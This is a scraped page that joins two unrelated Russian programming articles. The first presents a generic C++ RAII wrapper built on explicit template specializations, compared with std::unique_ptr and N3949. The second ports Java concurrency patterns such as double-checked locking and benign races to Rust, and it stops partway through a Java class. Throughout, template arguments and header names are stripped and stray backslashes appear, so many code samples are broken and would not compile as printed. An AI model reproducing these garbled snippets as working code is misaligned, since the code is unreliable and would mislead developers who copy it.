Облачные серверы от [Маклауд](https://macloud.ru/?partner=4189mjxpzx) быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
[](https://macloud.ru/?partner=4189mjxpzx&utm_source=habr&utm_medium=original&utm_campaign=mikael) | https://habr.com/ru/post/560406/ | null | ru | null |
# Управление ресурсами с помощью явных специализаций шаблонов
[](http://habrahabr.ru/company/pt/blog/255487/)
[RAII](http://en.wikibooks.org/wiki/More_C++_Idioms/Resource_Acquisition_Is_Initialization) – одна из наиболее важных и полезных идиом в C++. RAII освобождает программиста от ручного управления ресурсами, без неё крайне затруднено написание [безопасного с точки зрения исключений](http://en.wikipedia.org/wiki/Exception_safety) кода. Возможно, самое популярное использование RAII – это управление динамически выделяемой памятью с помощью [умных указателей](http://en.wikipedia.org/wiki/Smart_pointer), но она также может с успехом применяться и к другим ресурсам, особенно в мире низкоуровневых библиотек. Примеры включают в себя дескрипторы Windows API, файловые дескрипторы POSIX, примитивы OpenGL и тому подобное.
#### Варианты реализации RAII
Если мы решили написать RAII-обёртку для некоторого ресурса у нас есть несколько возможностей:
* написать конкретный класс-обёртку для конкретного типа ресурсов;
* использовать умный указатель стандартной библиотеки с пользовательским объектом очистки (например, `std::unique_ptr`);
* реализовать свой обобщённый класс-обёртку.
Первый вариант – написание специализированного класса-обёртки – сперва может показаться довольно разумным и действительно является хорошей отправной точкой. Простейшая RAII-обёртка может выглядеть примерно так:
```
class ScopedResource {
public:
ScopedResource() = default;
explicit ScopedResource(Resource resource)
: resource_{ resource } {}
ScopedResource(const ScopedResource&) = delete;
ScopedResource& operator=(const ScopedResource&) = delete;
~ScopedResource() { DestroyResource(resource_); }
operator const Resource&() const { return resource_; }
private:
Resource resource_{};
};
```
Однако, по мере того как наша кодовая база увеличивается в размере, растёт и количество ресурсов, за которыми нужно следить. Рано или поздно мы заметим, что большинство классов-обёрток незначительно отличаются друг от друга: как правило единственное отличие – это функция освобождения ресурса. Подобный подход провоцирует подверженное ошибкам повторное использование кода в стиле «копировать/вставить». С другой стороны, мы видим здесь отличную возможность для *обобщения*, которая подводит нас к следующему варианту – использованию умных указателей.
Умный указатель, реализованный в виде шаблона класса – это обобщённое решение для управления ресурсами. Однако и у него есть недостатки, в чём мы скоро убедимся. Как говорит их название, умные указатели были созданы прежде всего для управления памятью, и, как следствие, их использование с другими ресурсами зачастую приводит как минимум к неудобствам. Давайте остановимся на умных указателях более подробно.
#### Почему умные указатели не так уж и умны
Рассмотрим следующий код:
```
#include
// From low-level API.
using Handle = void\*;
Handle CreateHandle() {
Handle h{ nullptr };
/\*...\*/
return h;
}
void CloseHandle(Handle h) { /\* ... \*/ }
struct HandleDeleter {
void operator()(Handle h) { CloseHandle(h); }
};
using ScopedHandle = std::unique\_ptr;
int main() {
// error: expected argument of type void\*\*
ScopedHandle h{ CreateHandle() };
}
```
Почему конструктор `ScopedHandle` ожидает аргумент с типом `void**`? Вспомним, умные указатели проектировались прежде всего для управления памятью (то есть указателями): ``std::unique_ptr на самом деле оборачивает int*`. Аналогично ``std::unique_ptr оборачивает Handle*`, который в нашем примере является синонимом для `void**`. Как мы можем это обойти? Во-первых, мы можем использовать метафункцию `std::remove_pointer`:
```
using ScopedHandle =
std::unique_ptr, HandleDeleter>;
```
Во-вторых, мы можем использовать неочевидную особенность объекта очистки умного указателя: если в классе объекта очистки объявлен тип с именем pointer, то умный указатель будет считать этот тип типом управляемого ресурса:
```
struct HandleDeleter {
using pointer = Handle;
void operator()(Handle h) { CloseHandle(h); }
};
using ScopedHandle = std::unique_ptr;
```
Ни одно из двух представленных решений не является настолько удобным, насколько нам того хотелось бы, но основная проблема не в этом: умный указатель вынуждает нас делать предположения о типе `Handle`. Но тип `Handle` задумывался как непрозрачный дескриптор; фактическое определение `Handle` – это деталь реализации, о которой пользователь не обязан знать.
Есть и другая, более серьёзная проблема с умными указателями:
```
#include
using Handle = int;
Handle CreateHandle() { Handle h{ -1 }; /\*...\*/ return h; }
void CloseHandle(Handle h) { /\* ... \*/ }
struct HandleDeleter {
using pointer = Handle;
void operator()(Handle h) { CloseHandle(h); }
};
using ScopedHandle = std::unique\_ptr;
int main() {
// Error: type mismatch: "int" and "std::nullptr\_t".
ScopedHandle h{ CreateHandle() };
}
```
На практике приведённый выше код может работать без проблем в зависимости от реализации `std::unique_ptr`, но в общем случае это не гарантируется, и определённо такое поведение не является переносимым.
Причина ошибки в приведённом примере – нарушение *концепции* [NullablePointer](http://en.cppreference.com/w/cpp/concept/NullablePointer) типом `Handle`. Вкратце, модель концепции NullablePointer должна являться объектом, поддерживающим семантику указателей, и в частности допускающим сравнение с `nullptr`. Наш `Handle`, определённый как синоним для `int`, не является таким объектом. Как следствие, мы не можем использовать `std::unique_ptr`, для вещей наподобие файловых дескрипторов POSIX или ресурсов OpenGL.
Стоит упомянуть, что и эту проблему можно обойти. Мы могли бы определить адаптер для `Handle`, удовлетворяющий требованиям NullablePointer, однако, на мой вкус, написание обёртки для обёртки – это уже чересчур.
И, наконец, ещё одна проблема умных указателей связана с удобством их использования по сравнению с «сырыми» ресурсами. Рассмотрим идиоматическое использование гипотетического класса `Bitmap`:
```
// Graphics API.
bool CreateBitmap(Bitmap* bmp) {
/*...*/
return true;
}
bool DestroyBitmap(Bitmap bmp) {
/* ... */
return true;
}
bool DrawBitmap(DeviceContext ctx, Bitmap bmp) {
/* ... */
return true;
}
...
// User code.
DeviceContext ctx{};
Bitmap bmp{};
CreateBitmap(&bmp);
DrawBitmap(ctx, bmp);
```
Теперь сравним использование `Bitmap` с использованием ````
std::unique_ptr:
struct BitmapDeleter {
using pointer = Bitmap;
void operator()(Bitmap bmp) {
DestroyBitmap(bmp); }
};
using ScopedBitmap = std::unique_ptr;
...
DeviceContext ctx{};
Bitmap tmp;
CreateBitmap(&tmp);
ScopedBitmap bmp{ tmp };
DrawBitmap(ctx, bmp.get());
```
Как мы видим, использование `ScopedBitmap` более неуклюже. В частности, мы не можем передать `ScopedBitmap` непосредственно в функции, ожидающие Bitmap.
Принимая во внимание вышеизложенное, переходим к третьему варианту – реализации обобщённой RAII-обёртки.
#### Реализация
Представленная ниже реализация основана на подходе к освобождению ресурсов, отличному от применяемого в умных указателях стандартной библиотеки. Этот подход опирается на возможность выборочно [специализировать](http://en.cppreference.com/w/cpp/language/template_specialization) нешаблонные члены шаблона класса.
```
#include
#include // std::addressof
template
class Resource {
public:
Resource() noexcept = default;
explicit Resource(ResourceType resource) noexcept
: resource\_{ resource } {}
Resource(const Resource&) = delete;
Resource& operator=(const Resource&) = delete;
Resource(Resource&& other) noexcept
: resource\_{ other.resource\_ } { other.resource\_ = {}; }
Resource& operator=(Resource&& other) noexcept {
assert(this != std::addressof(other));
Cleanup();
resource\_ = other.resource\_;
other.resource\_ = {};
return \*this;
}
~Resource() { Cleanup(); }
operator const ResourceType&() const noexcept {
return resource\_;
}
ResourceType\* operator&() noexcept {
Cleanup();
return &resource\_;
}
private:
// Intentionally undefined - must be explicitly specialized.
void Cleanup() noexcept;
ResourceType resource\_{};
};
```
Сначала несколько второстепенных заметок относительно дизайна.
* Класс не поддерживает семантику копирования, но поддерживает семантику перемещения, таким образом он реализует модель единоличного владения (как `std::unique_ptr`). При необходимости можно определить аналогичный класс, реализующий модель совместного владения (как `std::shared_ptr`).
* Принимая во внимание тот факт, что большинство аргументов `ResourceType` на практике являются примитивными дескрипторами (например, `void*` или `int`), методы класса помечены, как `noexcept`.
* Перегрузка `operator&` – спорное решение. Так или иначе, я решил сделать это, чтобы облегчить использование класса с функциями-фабриками вида `CreateHandle(Handle* handle)`. Разумной альтернативой в данном случае является обычная именованная функция-член.
Теперь к делу. Как мы видим, метод `Cleanup`, являющийся краеугольным камнем нашего класса, оставлен без определения. В результате попытка создания объекта класса неминуемо приведёт к ошибке. Трюк заключается в том, что мы должны определить явную специализацию метода `Сleanup` для каждого ресурса, которым хотим управлять. Например:
```
// Here "FileId" is some OS-specific file descriptor type
// which must be closed with CloseFile function.
using File = Resource;
template<> void File::Cleanup() noexcept {
if (resource\_)
CloseFile(resource\_);
}
```
Теперь мы можем использовать наш класс для управления объектами `FileId`:
```
{
File file{ CreateFile(file_path) };
...
} // "file" will be destroyed here
```
Мы можем рассматривать объявление `Cleanup` внутри `Resource` как своего рода «чисто виртуальную функцию времени компиляции». Схожим образом, явная специализация `Cleanup` для `FileId` является «конкретной реализацией» этой функции.
#### Что за параметр такой — ResourceTag?
Кто-то может поинтересоваться, зачем нам нужен неиспользуемый параметр шаблона `ResourceTag`? Он служит двум целям.
Во-первых, *типобезопасность*. Представим, что два разных типа ресурсов определены как синонимы для типа `void*`. Без параметра-тега компилятор просто не сможет обнаружить баг в следующем коде:
```
using ScopedBitmap = Resource;
using ScopedTexture = Resource;
void DrawBitmap(DeviceContext& ctx, ScopedBitmap& bmp) {
/\* ... \*/
}
int main() {
DeviceContext ctx;
ScopedBitmap bmp;
ScopedTexture t;
// Passing texture to function expecting bitmap.
// Compiles OK.
DrawBitmap(ctx, t);
}
```
Если же мы используем тег, компилятор заметит ошибку:
```
using ScopedBitmap = Resource;
using ScopedTexture = Resource;
int main() {
DeviceContext ctx;
ScopedBitmap bmp;
ScopedTexture t;
DrawBitmap(ctx, t); // error: type mismatch
}
```
Второе назначение тега следующее: он позволяет нам определять специализации `Cleanup` для концептуально разных ресурсов, имеющих один и тот же C++ тип. Ещё раз, представим, что ресурс `Bitmap` удаляется с помощью функции `DestroyBitmap`, в то время как ресурс `Texture` – `DestroyTexture`. Не используй мы тег, `ScopedBitmap` и `ScopedTexture` имели бы одинаковый тип (напомню, в нашем примере и `Bitmap`, и `Texture` определены как `void*`), что не позволило бы нам определить разные функции очистки для каждого из ресурсов.
Коль уж речь у нас зашла о теге, следующее выражение может показаться странным:
```
using File = Resource;
```
В частности, я говорю об использовании конструкции `struct FileIdTag` в качестве аргумента шаблона. Давайте рассмотрим эквивалентное выражение, смысл которого я думаю ясен тем, кто знаком с [диспетчированием на основе тегов](http://www.boost.org/community/generic_programming.html#tag_dispatching):
```
struct FileIdTag{};
using File = Resource;
```
Традиционное диспетчирование с помощью тегов подразумевает использование перегруженных функций, в которых аргумент с типом тега является селектором перегрузки. Тег передаётся в перегруженную функцию по значению, поэтому он должен быть *полным типом*. Однако, в нашем случае перегрузка функций не используется. Тег нужен нам лишь как аргумент шаблона, чтобы обеспечить возможность определения явных специализаций для различных ресурсов. Принимая во внимания тот факт, что C++ позволяет использовать *неполный тип* в качестве аргумента шаблона, мы можем заменить определение тега на его объявление:
```
struct FileIdTag;
using File = Resource;
```
Далее, учитывая, что `FileIdTag` используется только внутри объявления синонима типа, мы можем перенести его непосредственно в место использования:
```
using File = Resource;
```
#### Делаем требование явной специализации более… явным
Если пользователь не предоставит явную специализацию для метода Cleanup, он/она не сможет собрать программу. Это намеренное поведение. Однако, с ним связана пара проблем:
* ошибка выбрасывается во время компоновки, в то время как предпочтительно (и возможно) обнаружить её раньше, на этапе компиляции;
* сообщение об ошибке не даёт пользователю подсказки относительно истинной причины проблемы и пути её решения.
* Давайте попробуем исправить эти недостатки с помощью `static_assert`:
```
void Cleanup() noexcept {
static_assert(false,
"This function must be explicitly specialized.");
}
```
К сожалению, нет гарантии, что это сработает: утверждение может выбросить ошибку даже если основной шаблон `Cleanup` никогда не будет *инстанцирован*. Причина в следующем: условие внутри `static_assert` никак не зависит от параметров шаблона класса, таким образом, компилятор имеет право вычислить условие ещё до того, как попытается инстанцировать шаблон.
Зная это, проблему легко решить: сделать условие зависимым от параметров шаблона. В частности, мы можем определить функцию-член *времени компиляции*, которая всегда возвращает значение false:
```
static constexpr bool False() noexcept { return false; }
void Cleanup() noexcept {
static_assert(False(),
"This function must be explicitly specialized.");
}
```
#### Тонкие обёртки против высокоуровневых абстракций
Шаблон RAII-обёртки, представленный в статье, является тонкой абстракцией, имеющей дело исключительно с управлением ресурсами. Кто-то может возразить, зачем вообще писать такой класс, не стоит ли сразу реализовать полноценную абстракцию в лучших традициях объектно‑ориентированного проектирования? В качестве примера, посмотрим, как мы могли бы написать класс битовой карты с нуля:
```
class Bitmap {
public:
Bitmap(int width, int height);
~Bitmap();
int Width() const;
int Height() const;
Colour PixelColour(int x, int y) const;
void PixelColour(int x, int y, Colour colour);
DC DeviceContext() const;
/* Other methods... */
private:
int width_{};
int height_{};
// Raw resources.
BITMAP bitmap_{};
DC device_context_{};
};
```
Чтобы понять, почему такой подход является в общем случае плохой идеей, давайте попробуем написать конструктор для класса Bitmap:
```
Bitmap::Bitmap(int width, int height)
: width_{ width }, height_{ height } {
// Create bitmap.
bitmap_ = CreateBitmap(width, height);
if (!bitmap_)
throw std::runtime_error{ "Failed to create bitmap." };
// Create device context.
device_context_ = CreateCompatibleDc();
if (!device_context_)
// bitmap_ will be leaked here!
throw std::runtime_error{ "Failed to create bitmap DC." };
// Select bitmap into device context.
// ...
}
```
Как мы видим, наш класс на самом деле управляет двумя ресурсами: непосредственно битовой картой и соответствующим контекстом устройства (этот пример вдохновлён [Windows GDI](https://msdn.microsoft.com/en-us/library/dd145203(v=vs.85).aspx), где битовой карте, как правило, соответствует контекст устройства в памяти, необходимый для операций отрисовки и интероперабельности с современными графическими интерфейсами программирования). И вот здесь то и возникает проблема: если инициализация `device_context_` завершится ошибкой, произойдёт утечка `bitmap_`!
Теперь рассмотрим аналогичный код с использованием управляемых ресурсов:
```
using ScopedBitmap = Resource;
using ScopedDc = Resource;
...
Bitmap::Bitmap(int width, int height)
: width\_{ width }, height\_{ height } {
// Create bitmap.
bitmap\_ = ScopedBitmap{ CreateBitmap(width, height) };
if (!bitmap\_)
throw std::runtime\_error{ "Failed to create bitmap." };
// Create device context.
device\_context\_ = ScopedDc{ CreateCompatibleDc() };
if (!device\_context\_)
// Safe: bitmap\_ will be destroyed in case of
// exception.
throw std::runtime\_error{ "Failed to create bitmap DC." };
// Select bitmap into device context.
// ...
}
```
Этот пример позволяет нам сформулировать следующее правило: *не храните в качестве членов данных класса более одного неуправляемого ресурса*. Лучше примните RAII к каждому из ресурсов, и затем используйте их как строительные блоки для построения более высокоуровневых абстракций. Такой подход обеспечивает как безопасность исключений, так и повторное использование кода (вы можете рекомбинировать эти строительные блоки в будущем без боязни взывать утечки памяти).
#### Ещё примеры
Ниже приведены реальные примеры полезных специализаций нашего класса для объектов Windows API. Я выбрал Windows API, так как он изобилует возможностями для применения RAII (примеры интуитивно понятны; знание Windows API не требуется).
```
// Windows handle.
using Handle = Resource;
template<> void Handle::Cleanup() noexcept {
if (resource\_ && resource\_ != INVALID\_HANDLE\_VALUE)
CloseHandle(resource\_);
}
// WinInet handle.
using InetHandle = Resource;
template<> void InetHandle::Cleanup() noexcept {
if (resource\_)
InternetCloseHandle(resource\_);
}
// WinHttp handle.
using HttpHandle = Resource;
template<> void HttpHandle::Cleanup() noexcept {
if (resource\_)
WinHttpCloseHandle(resource\_);
}
// Pointer to SID.
using Psid = Resource;
template<> void Psid::Cleanup() noexcept {
if (resource\_)
FreeSid(resource\_);
}
// Network Management API string buffer.
using NetApiString = Resource;
template<> void NetApiString::Cleanup() noexcept {
if (resource\_ && NetApiBufferFree(resource\_) != NERR\_Success) {
// Log diagnostic message in case of error.
}
}
// Certificate store handle.
using CertStore = Resource;
template<> void CertStore::Cleanup() noexcept {
if (resource\_)
CertCloseStore(resource\_, CERT\_CLOSE\_STORE\_FORCE\_FLAG);
}
```
**О чём нужно помнить, определяя явные специализации шаблонов:**
* явная специализация должна быть определена в том же пространстве имен, что и основной шаблон (в нашем случае, шаблон класса `Resource`);
* явная специализация шаблона функции, определённая в заголовочном файле, должна быть встроенной (inline): запомните, явная специализация – это уже не шаблон, а обычная функция.
#### Сравнение с unique\_resource из N3949
Ограничения умных указателей как инструмента управления ресурсами, рассмотренные ранее, привели к разработке предложения по включению в стандарт [N3949](http://www.open-std.org/JTC1/SC22/WG21/docs/papers/2014/n3949.pdf). N3949 описывает шаблон класса `unique_resource_t`, схожий с предложным в настоящей статье, однако использующий более традиционный подход к освобождению ресурсов (а именно, в ключе `std::unique_ptr`):
```
template
class unique\_resource\_t {
/\* … \*/
};
// Factory.
template
unique\_resource\_t
unique\_resource(Resource&& r, Deleter d) noexcept {
/\* … \*/
}
...
// Usage (predefined deleter).
struct ResourceDeleter {
void operator()(Resource resource) const noexcept {
if (resource)
DestroyResource(resource);
}
};
using ScopedResource =
unique\_resource\_t;
ScopedResource r{ CreateResource(), ResourceDeleter{} };
// Alternative usage (in-place deleter definition).
auto r2 = unique\_resource(
CreateResource(),
[](Resource r){ if (r) DestroyResource(r); });
```
Как мы видим, `unique_resource_t` использует одну процедуру очистки *на экземпляр класса*, в то время как `Resource` – одну на *класс*. Концептуально, процедура очистки является скорее атрибутом типа ресурса, чем его экземпляра (это очевидно, если проанализировать различные реальные примеры использования RAII-обёрток). Как следствие, становится утомительно явно указывать процедуру очистки каждый раз во время создания ресурса. Однако, изредка, подобная гибкость может быть полезной.
Представьте себе функцию очистки, которая принимает флаг, описывающий политику удаления ресурса, как, например, функция Windows API CertCloseStore, упомянутая выше в разделе примеров.
Говоря о размере кода, необходимом для определения управляемого ресурса, особой разницы между Resource и unique_resource_t нет. Субъективно, я нахожу определение специализации функции более элегантным, нежели определение *функтора* (т. е., структуры с `operator()`). В случае с `unique_resource_t`, мы также можем использовать лямбду непосредственно в месте создания объекта, как показано выше, но это быстро становится неудобным по мере возникновения необходимости создавать ресурсы в разных частях кода (в этом случае нам придётся многократно повторять определение лямбды).
С другой стороны, передача вызываемого объекта в конструктор для предоставления пользовательской логики широко используется в C++, в то время как определение явных специализаций шаблонов для той же цели может показаться экзотикой для большинства программистов.
#### Заключение
RAII-обёртка, представленная в статье, устраняет большую часть недостатков умных указателей стандартной библиотеки, в случае когда речь идёт об управлении ресурсами, отличными от памяти. А именно:
* неочевидный синтаксис с типами – синонимами указателей;
* ограниченная поддержка типов, не реализующих семантику указателей;
* неудобное использование управляемых ресурсов с низкоуровневыми интерфейсами программирования по сравнению с неуправляемыми.
Мы также познакомились с простой, но интересной техникой *статического полиморфизма*, основанной на использовании явных специализаций шаблонов. Исторически, явная специализация шаблонов имеет репутацию продвинутого средства языка, ориентированного главным образом на разработчиков библиотек и опытных пользователей. Однако, как мы с вами убедились, это средство может играть гораздо более важную роль центрального механизма абстракции наравне с виртуальными функциями, а не являться лишь ещё одной полезной утилитой в ящике инструментов разработчика библиотек. Я убеждён, что полный потенциал этой возможности языка нам ещё только предстоит раскрыть.
Код доступен [по ссылке](https://goo.gl/cK46xF).
**Автор:** [Павел Фролов](https://arkfps.github.io), программист отдела разработки специальных проектов Positive Technologies
*Оригинальная статья опубликована в выпуске 126 журнала Overload (апрель 2015).*``` | https://habr.com/ru/post/255487/ | null | ru | null |
# Concurrency паттерны в Rust из Java
Под катом находятся заметки, в которых расписано, как реализовать в Rust хитрые concurrency паттерны, которые я с легкостью пишу в Java, и в чем различие в подходах к concurrency у этих языков. Статья будет полезна и тем, кто переходит на Rust из C#, ведь у него аналогичная модель памяти.
Пара слов о разнице в подходах Java и Rust
==========================================
Java первый язык с моделью памяти (которая описывает синхронизацию операций чтения и записи в память), Rust наследует модель памяти C++11 в реализации LLVM. Так что с точки зрения терминологии есть много различий. По сути же в Java есть 3 механизма синхронизации разделяемой памяти: volatile переменные, блокировки (блоки synchronized, ReentrantLock и т.д.) и atomic. В Rust только блокировки (Mutex, Rwlock) и atomic. Volatile не нужен поскольку дублирует функционал atomic. Передачу сообщений через каналы опустим.
Ещё отличия:
1. В Rust нет сборщика мусора, поэтому придется класть расшаренные между потоками объекты в атомарный счетчик ссылок Arc. Более того, Rust трепетно относится к неизменяемым объектам, поэтому что бы изменить внутреннее состояние объекта без захвата mut ссылки придется обернуть его в Cell или аналог (RefCell, UnsafeCell).
2. Операции над atomic в Rust используют барьеры четырех типов, но это не сильно меняет правила игры. Используйте Relaxed, когда чтение через гонку приемлемо (например под блокировкой), Acquire на чтение + Release на запись — когда не нужно что бы все потоки видели одинаковый порядок операций, и SeqCst — когда нужно. Напоминаю, что volatile в Java дает гарантии SeqCst. Для атомарных операций, которые делают за раз и чтение и запись (например swap), предусмотрена опция AcqRel (Acquire+Release).
3. В Rust нет null и его нельзя использовать как индикатор. Для этих целей используйте Option, который вокруг указателя ничего не стоит. В Java порой использование null для индикатора тоже не лишено опасностей — см. второй пример.
4. AtomicPtr в Rust не то же, что AtomicReferenc в Java. Это не очевидный момент, если смотреть только на семантику, но он становится очевидным при использовании — см. последний пример. Чаще проще использовать отдельный AtomicBool для синхронизации.
5. В Rust блокировка (Mutex, RwLock) неотделима от объекта, вокруг которого она берется. И доступ к объекту нельзя получить иным способом, кроме как через захват блокировки. В Java тоже нужен объект синхронизации для монитора, но обращаться к нему можно без его захвата.
6. Вы должны сознательно унаследовать Sync с помощью unsafe для класса, который хотите передавать между потоками.
7. В отличие от сравнительно простой идеи happens-before, которая хороша общностью, идея барьеров намного более сложная для анализа кода. Думаю, вы увидите это на примерах.
8. **Всё таки Rust подразумевает, что вы не будете часто шарить изменяемые данные между потоками и организуете работу [иначе](https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html).**
Учтите так же, что я сам только учу Rust поэтому к коду на нем стоит отнестись скептически. Я его тестировал, но в контексте concurrency это ничего не гарантирует.
Double-check lock
=================
В Java мире очень любят double-check-lock т.к. до Java 1.5 его невозможно было реализовать корректно. Напоминаю как это выглядит:
```
public class Lazy {
volatile T val;
final Supplier supp;
public Lazy(Supplier supp) {
this.supp = supp;
}
public T get() {
if (val == null) {
synchronized (this) {
if (val == null) {
val = supp.get();
}
}
}
return val;
}
}
```
Людей, привыкших к написанию concurrency кода, таким не удивить, однако если вдуматься тут есть масса опасных операций. Во-первых, чтение через гонку. Во-вторых, мы шарим между потоками изменяемый объект (метод get меняет внутреннее состояние объекта). Rust такого не любит. Он вообще злой. Тем не менее максимально близкий аналог в Rust выглядит так:
```
pub struct Lazy T> {
init: AtomicBool,
val: UnsafeCell>,
supp: Mutex
}
unsafe impl T> Sync for Lazy {}
impl T> Lazy {
fn new(func: F) -> Self {
Lazy{
init: AtomicBool::new(false),
val: UnsafeCell::new(None),
supp: Mutex::new(func)
}
}
fn get<'a>(&'a self) -> &'a T {
if !self.init.load(Ordering::Acquire) {
let func = self.supp.lock().unwrap();
if !self.init.load(Ordering::Relaxed) {
let value = unsafe { &mut \*self.val.get() };
\*value = Some(func());
self.init.store(true, Ordering::Release);
}
}
unsafe {
(\*self.val.get()).as\_ref().unwrap()
}
}
}
```
Выглядит необычно, [но stackoverflow считает, что так и надо](https://stackoverflow.com/questions/45681531/what-is-the-right-way-to-write-double-checked-locking-in-rust/).
Кода тут намного больше. Не обращайте внимания на Mutex вокруг supp — он просто где-то должен быть. Из-за отсутствия null пришлось обернуть val в Option. А из-за сложностей в использовании AtomicPtr пришлось добавить AtomicBool флаг инициализации.
Здесь обратите внимание на разницу в доказательстве корректности. Например в Java, если убрать volatile, то вы просто говорите, что нет happens-before из записи в чтение, и на этом анализ заканчивается. Искать конкретный вариант исполнения, при котором проблема реализуется, не нужно.
В Rust же вы рискуете попасть в ловушку из-за разных вариантов барьеров памяти. Поэтому придется пробежать все варианты исполнения. Если вы прочитали в init true это значит вы видите запись в него и в val (по транзитивности). Поэтому все сработает нормально. Иначе вы берете блокировку, тогда чтение true там тоже гарантирует видимость записи в val. В последнем третьем случае если вы и есть тот поток, что записал значение, вы его тоже увидите т.к. другие потоки не пишут значение (и если бы вы не могли прочитать свою собственную запись — это сломало бы однониточные программы).
Double-check lock с удалением Supplier
======================================
В прошлом примере переменная supp не нужна после использования. Я встретил этот пример в [докладе Шипилева о JMM](https://youtu.be/puYPHysBN7U?t=2h12m23s).
Код в Java:
```
public class LazyOpt {
volatile Supplier supp;
T val;
final static Supplier EMPTY = new Supplier() {
@Override public Object get() {
return null;
}
};
public LazyOpt(Supplier supp) {
this.supp = supp;
}
public T get() {
if (supp != EMPTY) {
synchronized (this) {
if (val == null) {
val = supp.get();
supp = EMPTY;
}
}
}
return val;
}
}
```
Тут все просто и знакомо: это почти double-check-lock, с той лишь разницей, что мы удаляем функцию, вычисляющую значение. Спецификация JMM позволяет нам увидеть supp == null до того как туда кто-то что-то положил, поэтому надо использовать EMPTY (подробнее в [докладе Шипилева в самом конце](https://youtu.be/puYPHysBN7U?t=2h44m43s), он просил не спрашивать это на собеседованиях). Volatile на supp нужен, что бы пробросить happens-before между операцией записи внутри synchronized и чтением вне его. Volatile на val не нужен, т.к. тот, кто видит запись в supp, видит и запись в val.
Сразу стоит сказать, что этот пример может и не иметь смысла в Rust. У структур на стеке фиксированный размер, и если supp не указатель, то ничего не выиграть, если затрете его в None. Но если supp по какой-то причине Arc, тогда можно.
Аналог в Rust:
```
pub struct Lazy T> {
init: AtomicBool,
val: UnsafeCell>,
supp: Mutex>>>,
}
unsafe impl T> Sync for Lazy {}
impl T> Lazy {
fn new(func: F) -> Self {
Lazy{
init: AtomicBool::new(false),
val: UnsafeCell::new(None),
supp: Mutex::new(UnsafeCell::new(Some(Arc::new(func)))),
}
}
fn get<'a>(&'a self) -> &'a T {
if !self.init.load(Ordering::Acquire) {
let supp = self.supp.lock().unwrap();
if !self.init.load(Ordering::Relaxed) {
let value = unsafe { &mut \*self.val.get() };
let func = unsafe { & \*supp.get() };
if let Some(ref f) = \*func {
\*value = Some(f());
}
let func = unsafe { &mut \*supp.get() };
\*func = None;
self.init.store(true, Ordering::Release);
}
}
unsafe {
(\*self.val.get()).as\_ref().unwrap()
}
}
}
```
Как по мне вариант на Rust выглядит слишком сложно, что бы его использовать на практике. Однако, с точки зрения доказательства корректности ничего не поменялось т.к. все операции с функцией делаются под блокировкой.
Безопасная гонка (benign races)
===============================
Ещё один хитрый прием, из [того же доклада](https://youtu.be/puYPHysBN7U?t=2h34m36s), позволяет написать ленивую инициализацию для небольшого числа случаев, вроде подсчета хеша объекта, которая не требует блокировок.
```
public class LazyHash {
int hash;
@Override public int hashCode() {
int temp = hash;
if (temp == 0) {
temp = supp();
hash = temp;
}
return temp;
}
public int supp() {
return 4;
}
}
```
Тут главный секрет в том что:
1. Нас не парит нетранзитивность видимости полей объекта если: их нет, они final, либо если это не класс, а примитив (за исключением long и double). В остальных случаях она парит, т.к. её нельзя исправить задним числом.
2. Если supp вызвать много раз, он вернёт одно и тоже значение (не равное по ссылке).
3. Нас не парит, что объекты могут быть разными по ссылке, если в остальном они одинаковые.
4. Мы сохраняем объект в локальную копию, что бы избежать возврата null при двойном чтении.
5. Оптимизация в этом месте необходима (пункт срезающий большинство ситуаций).
Хотя код выглядит так будто мы не используем иных гарантий на операции, помимо гарантий для работы однониточных программ, это не так. Ведь Java гарантирует атомарность операций чтения и записи над примитивами (включая ссылки) кроме long и double, а без атомарности этот код не корректен. Также трюком с локальной переменной мы добавляем гарантию монотонности. [Rust дает в точности эти же гарантии если сделаете Relaxed операцию.](http://llvm.org/docs/Atomics.html#monotonic).
Хешы считают в Rust хитрее чем в Java, поэтому пример ниже — абстрактный getter:
```
pub struct LazyHash {
hash: AtomicIsize
}
impl LazyHash {
fn new() -> Self {
LazyHash{hash: AtomicIsize::new(0)}
}
fn get(&self) -> isize {
let mut temp = self.hash.load(Ordering::Relaxed);
if temp == 0 {
temp = self.supp();
self.hash.store(temp, Ordering::Relaxed);
}
temp
}
fn supp(&self) ->isize {
4
}
}
```
В Rust в конце можно было бы вернуть вместо temp честный self.hash.load(Ordering::Relaxed), просто в этом нет смысла. Так же в nightly сборки Rust куча атомиков (даже 128 битные), а в Java сделать такой же фокус с 64-х битным long не получится и придется лепить volatile.
Read-write структура для одного писателя
========================================
Я услышал о такой идеи в докладе [computer science ещё жива](https://youtu.be/Ra2RSsyO4XU?t=29m20s), где описывались хитрые алгоритмы используемые в IDEA.
Мысль следующая: Read-write локи слишком медленные, при наличии тысячи чтецов и ровно одного писателя. Но можно ускориться если читающие потоки будут писать в ThreadLocal флажки и проверять атомарный флаг писателя. Иных подробностей не было, поэтому моя реализация будет совсем другой.
Честно говоря описание задачи похоже на mvcc для бедных. Поясню. Если нет нужды в монотонности, то можно обойтись без блокировок в ситуации, когда имеется не более одного писателя и много чтецов. Чтецы читают из последней (на момент начала операции) копии данных, а писатель пишет в личную копию. Когда писатель заканчивает работу, он обновляет общую копию атомарно, и новые читатели будут брать уже её. Старые читатели будут работать со старой копией. Тут нарушается монотонность т.к. новый быстрый чтец может вернуть новое значение, а после него старый медленный чтец вернет старое значение. Однако заметить нарушение монотонности нельзя если получать значения в том же порядке, в котором создавались задачи или не ожидать завершения задач из других потоков. В реализации ниже это считается приемлемым.
Однако в голову приходит по меньшей мере два способа починить монотонность:
1. Для случая когда нам важен throughput можно добавить блокировку: новые чтецы и писатель не сообщат о завершении своей работы пока все старые чтецы этого не сделают. Это не тоже самое что ReadWrite блокировка поскольку задачи физически выполняются одновременно и мы просто синхронизируем видимость: после снятия блокировки все готовые результаты станут видны мгновенно. Можно отслеживать последнего, кто взял текущую копию для чтения, и все, кто взял следующую копию, должны будут подождать пока он её отпустит, прежде чем отпустить свою.
2. Если же мы предполагаем, что писатель у нас в приоритете и нам важна его latency и есть возможность отменять и перезапускать задачи чтецов, то можно перезапустить все задачи, которые не успели выполниться к моменту, когда писатель обновил значение — наверное это больше подходит для use case из доклада.
Код ниже не использует ThreadLocal (информации в докладе недостаточно что бы понять зачем он нужен, если можно обойтись без него). Этот код остается валидным даже если писателей больше одного. Но сломается если читатели начнут писать.
```
public class PoorMvcc> {
volatile T currentValue;
final ReentrantLock writersSync = new ReentrantLock();
public PoorMvcc(T val) {
currentValue = val;
}
public T getReadCopy() {
return currentValue;
}
